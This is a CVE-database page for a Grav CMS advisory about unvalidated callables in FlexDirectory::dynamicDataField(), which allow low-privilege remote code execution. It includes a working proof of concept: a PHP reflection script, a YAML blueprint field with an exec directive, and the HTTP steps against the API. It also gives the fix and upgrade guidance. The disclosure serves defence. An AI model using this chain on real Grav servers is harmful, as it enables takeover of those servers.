Loading...
Skip to main content

CVE-2026-65608 — Vulnerability in getgrav/grav — CVE Details

HIGH

Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

Published September 17, 2026Updated September 17, 2026Source: osv

Summary

### Summary A missing validation check in Grav's Flex framework lets an account holding nothing but an ordinary object-create permission on a single Flex directory execute arbitrary shell commands on the server. Any authenticated user with `create` or `update` rights on a Flex-based directory (Flex Users, Flex Pages, Flex Objects, or any custom Flex type) can trigger it the moment a blueprint field anywhere in that directory carries a `data-*@:` directive, since the code that resolves those directives calls `call_user_func_array()` on attacker-influenced input with no restriction at all. This is a bypass of GHSA-fj2p-qj2f-74v5, already patched in 2.0.7. That fix added real validation to `Blueprint::dynamicData()`, but Grav's Flex system routes the same directive through a separate, unprotected method, `FlexDirectory::dynamicDataField()`, which never received the same fix. ### Details Grav blueprints support `action-property@:` directives, YAML keys that tell the blueprint engine to compute a field's value dynamically by calling a function. `Blueprint::init()` (`system/src/Grav/Common/Data/Blueprint.php:167-177`) resolves these by checking for a registered handler first, and only falling back to the built-in `dynamic{Action}` method if none is registered: ```php foreach ($data as $property => $call) { $action = $call['action']; $method = 'dynamic' . ucfirst((string) $action); $call['object'] = $this->object; if (isset($this->handlers[$action])) { $callable = $this->handlers[$action]; $callable($current, $property, $call); } elseif (method_exists($this, $method)) { $this->{$method}($current, $property, $call); } } ``` `FlexDirectory::getBlueprint()` (`system/src/Grav/Framework/Flex/FlexDirectory.php:878-880`) registers exactly such a handler for the `data` action, for every Flex directory: ```php $blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) { $this->dynamicDataField($field, $property, $call); }); ``` Because a handler is registered, `Blueprint::init()` never falls through to the patched `Blueprint::dynamicData()`. It calls `FlexDirectory::dynamicDataField()` instead (`system/src/Grav/Framework/Flex/FlexDirectory.php:906-928`): ```php protected function dynamicDataField(array &$field, $property, array $call) { $params = $call['params']; if (is_array($params)) { $function = array_shift($params); } else { $function = $params; $params = []; } $object = $call['object']; if ($function === '\Grav\Common\Page\Pages::pageTypes') { $params = [$object instanceof PageInterface && $object->isModule() ? 'modular' : 'standard']; } $data = null; if (is_callable($function)) { $data = call_user_func_array($function, $params); } // ... } ``` `is_callable()` only checks that `$function` resolves to something callable. It does not check whether calling it is safe. `'exec'`, `'system'`, `'passthru'`, and `'shell_exec'` are all valid PHP callables, so this passes them through without complaint. Compare this to the patched `Blueprint::dynamicData()` (`system/src/Grav/Common/Data/Blueprint.php:426-448`), which calls `$this->isSafeDynamicCall($function, $params)` before doing anything. That method denies known command-execution functions (`exec`, `system`, `passthru`, `shell_exec`, `popen`, `proc_open`, `pcntl_exec`), known code-execution functions (`assert`, `preg_replace`, `create_function`, `include`, `require`), and recursively checks the argument list for a dangerous callable smuggled in as a parameter, which is the trampoline pattern the original GHSA exploited through `Utils::arrayFilterRecursive`. None of that logic exists in `dynamicDataField()`. **Version tested:** current `master`, commit `fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969`. `git describe` reports this as `2.0.8-2-gfae9e1bf2`, two commits past the `2.0.8` tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (`ParsedownGravTrait.php`, unrelated). Neither touches `Blueprint.php`, `FlexDirectory.php`, or `Utils.php`. `git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php` returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report. ### PoC **Part 1, code level.** This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with `composer install` run. It calls the real, unmodified `FlexDirectory::dynamicDataField()` directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file. ```php <?php require 'vendor/autoload.php'; use Grav\Common\Data\Blueprint; use Grav\Framework\Flex\FlexDirectory; $proofFile = '/tmp/grav_rce_proof.txt'; // Mimics a Flex directory blueprint YAML file containing a data-test@: directive, // the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData(). // No trampoline gadget needed here. dynamicDataField() performs zero validation // on $function. $items = [ 'fields' => [ 'myfield' => [ 'type' => 'text', 'data-test@' => ['exec', "id > $proofFile 2>&1"], ], ], ]; $blueprint = new Blueprint(null, $items); $blueprint->embed('', $items); // triggers deepInit(), populates $blueprint->dynamic // Register the real, unmodified FlexDirectory::dynamicDataField as the 'data' // handler. This is exactly what FlexDirectory::getBlueprint() does for every // Flex directory in production. $refClass = new ReflectionClass(FlexDirectory::class); $flexDirectoryInstance = $refClass->newInstanceWithoutConstructor(); $method = $refClass->getMethod('dynamicDataField'); $method->setAccessible(true); $blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) { $method->invoke($flexDirectoryInstance, $field, $property, $call); }); $blueprint->init(); echo file_exists($proofFile) ? file_get_contents($proofFile) : "not vulnerable\n"; ``` Output: ``` uid=1000(d) gid=1000(d) groups=1000(d),4(adm),... ``` **Part 2, full HTTP chain against the real admin panel.** Configuration used: - Base checkout: same commit as above. - `bin/gpm install admin flex-objects -y`, which pulls in `form`, `login`, `email`, `shortcode-core`, `api` as dependencies. - `php -S localhost:8000 system/router.php`. Step 1. `flex-objects` ships a self-contained sample custom directory at `blueprints/flex-objects/contacts.yaml`, with its own `admin.contacts`/`api.contacts` permission set. Added one field to its `form.fields`: ```yaml pocfield: type: text label: PoC Field data-test@: - exec - "id > /tmp/grav_http_rce_proof.txt 2>&1" ``` Step 2. Registered `contacts` as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (`user/config/plugins/flex-objects.yaml`): ```yaml directories: - 'blueprints://flex-objects/pages.yaml' - 'blueprints://flex-objects/user-accounts.yaml' - 'blueprints://flex-objects/user-groups.yaml' - 'blueprints://flex-objects/contacts.yaml' ``` Step 3. Confirmed a full super-admin account can trigger it, as a baseline. `POST /api/v1/flex-objects/contacts` (the ordinary "create a new contact" endpoint) with a super-admin JWT: ``` HTTP 201 Created ``` `/tmp/grav_http_rce_proof.txt` contained the `id` command's output. This confirms the chain fires through the real API: `FlexApiController::create()` calls `FlexDirectory::createObject()`/`save()`, which calls blueprint `init()`, which calls `dynamicDataField()`, which calls `call_user_func_array('exec', [...])`. The read-only blueprint-serving endpoint, `GET /blueprints/flex-objects/{type}`, does not trigger this; only the create/update processing path calls `init()`. Step 4. Created a second account with nothing granted except: ```yaml access: admin: login: true api: access: true contacts: create: true ``` No `admin.super`, no `api.super`, no permission on anything except creating records in this one directory. That is exactly the permission `contacts.yaml`'s own blueprint declares for this action (`admin.permissions.api.contacts: {type: crudpl}` maps to `api.contacts.create`). The token response confirmed the account had nothing else: `"super_admin": false`, with only `api.access` and `api.contacts.create` set to `true`. That account sent the same `POST /api/v1/flex-objects/contacts` request, an ordinary "create a contact" call indistinguishable from legitimate use: ``` HTTP 201 Created ``` `/tmp/grav_http_rce_proof.txt` was overwritten with fresh `id` output. This was reproduced a second time on a completely separate, freshly cloned checkout (independent `composer install`, independent `bin/gpm install`, new accounts) to rule out any dependency on leftover state from the first run. Same result both times. ### Impact **Threat model.** The attacker needs an authenticated account with `create` or `update` permission on a single Flex directory, nothing more. The PoC account held exactly one permission, `api.contacts.create`, scoped to one custom directory, with `super_admin: false` and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor's own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server. Any Grav 2.0 install running the `flex-objects` plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a `data-*@:` directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in `flex-objects` or `admin` UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role. **Suggested fix**: route `FlexDirectory::dynamicDataField()` through the same `isSafeDynamicCall()`/`Utils::isDangerousFunction()` checks `Blueprint::dynamicData()` already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other `addDynamicHandler()` registration in the codebase has the same gap.

Advisory Timeline

  • First published September 17, 2026 (25 days ago).
  • Last revised September 17, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update getgrav/grav to 2.0.9 or later
composer require "getgrav/grav:^2.0.9"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
getgrav/grav
packagist
1.7.0, 1.7.1, 1.7.10, 1.7.12 (+120 more)2.0.9

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-65608?
Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-65608?
CVE-2026-65608 affects getgrav/grav. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-65608 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-c4wf-2xxc-68qm

Related CVEs

  • CVE-2025-66844
    CRITICAL

    Grav may be vulnerable to SSRF attack via Twig Templates

  • CVE-2026-75827
    CRITICAL

    Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

  • CVE-2025-66294
    HIGH

    Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass

  • CVE-2026-42844
    HIGH

    Low-privileged Grav API users can create super-admin accounts via blueprint-upload

  • CVE-2026-69088
    HIGH

    Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure

  • CVE-2025-66297
    HIGH

    Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection

  • CVE-2026-42612
    HIGH

    Grav Vulnerable to Publisher-Level Stored XSS via Unquoted Event Attributes

  • CVE-2025-66296
    HIGH

    Grav vulnerable to Privilege Escalation in Grav Admin: Missing Username Uniqueness Check Allows Admin Account Takeover

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies